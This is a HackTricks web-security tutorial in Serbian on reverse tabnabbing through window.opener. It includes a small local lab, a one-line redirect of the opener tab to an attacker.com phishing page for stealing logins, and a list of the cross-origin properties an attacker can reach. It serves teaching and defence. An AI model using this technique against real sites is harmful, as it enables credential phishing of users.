6.5 KiB
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Opis
U situaciji kada napadač može kontrolisati argument href
<a
taga sa atributom target="_blank" rel="opener"
koji će biti kliknut od strane žrtve, napadač može da usmeri ovaj link na veb stranicu pod njegovom kontrolom (zlonamerna veb stranica). Zatim, kada žrtva klikne na link i pristupi napadačevom veb sajtu, ovaj zlonamerni veb sajt će biti u mogućnosti da kontroliše originalnu stranicu putem JavaScript objekta window.opener
.
Ako stranica nema rel="opener"
ali sadrži target="_blank"
i nema rel="noopener"
takođe može biti ranjiva.
Uobičajeni način zloupotrebe ovog ponašanja bio bi da promeni lokaciju originalnog veba putem window.opener.location = https://attacker.com/victim.html
na veb koji kontroliše napadač, a koji izgleda kao originalni, tako da može imitirati formu za prijavu originalnog veb sajta i tražiti od korisnika pristupne podatke.
Međutim, treba napomenuti da pošto napadač sada može da kontroliše prozor originalnog veb sajta on može da ga zloupotrebi na druge načine kako bi izveo skrivenije napade (možda modifikovanjem JavaScript događaja da bi izvršio izvlačenje informacija na server koji kontroliše on?).
Pregled
Sa povratnim linkom
Veza između roditeljske i dečje stranice kada se ne koristi atribut za prevenciju:
Bez povratnog linka
Veza između roditeljske i dečje stranice kada se koristi atribut za prevenciju:
Primeri
Kreirajte sledeće stranice u folderu i pokrenite veb server sa python3 -m http.server
Zatim, pristupite http://127.0.0.1:8000/
vulnerable.html, kliknite na link i primetite kako se URL originalnog veb sajta menja.
{% code title="vulnerable.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
{% code title="malicious.html" %}
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
{% code title="malicious_redir.html" %}
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
{% endcode %}
Pristupačna svojstva
U scenariju kada se dogodi prekogranični pristup (pristup preko različitih domena), svojstva instance JavaScript klase window, na koju se referiše JavaScript objektna referenca opener, koja može biti pristupljena od strane zlonamerne stranice, su ograničena na sledeće:
opener.closed
: Ovo svojstvo se koristi da bi se utvrdilo da li je prozor zatvoren, vraćajući boolean vrednost.opener.frames
: Ovo svojstvo omogućava pristup svim iframe elementima unutar trenutnog prozora.opener.length
: Ovo svojstvo vraća broj iframe elemenata prisutnih u trenutnom prozoru.opener.opener
: Referenca na prozor koji je otvorio trenutni prozor može se dobiti putem ovog svojstva.opener.parent
: Ovo svojstvo vraća roditeljski prozor trenutnog prozora.opener.self
: Ovo svojstvo omogućava pristup samom trenutnom prozoru.opener.top
: Ovo svojstvo vraća najviši prozor pregledača.
Međutim, u slučajevima kada su domeni identični, zlonamerna stranica dobija pristup svim svojstvima izloženim od strane window JavaScript objektne reference.
Prevencija
Informacije o prevenciji su dokumentovane u HTML5 Cheat Sheet.
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu na HackTricks-u ili preuzmete HackTricks u PDF formatu Proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.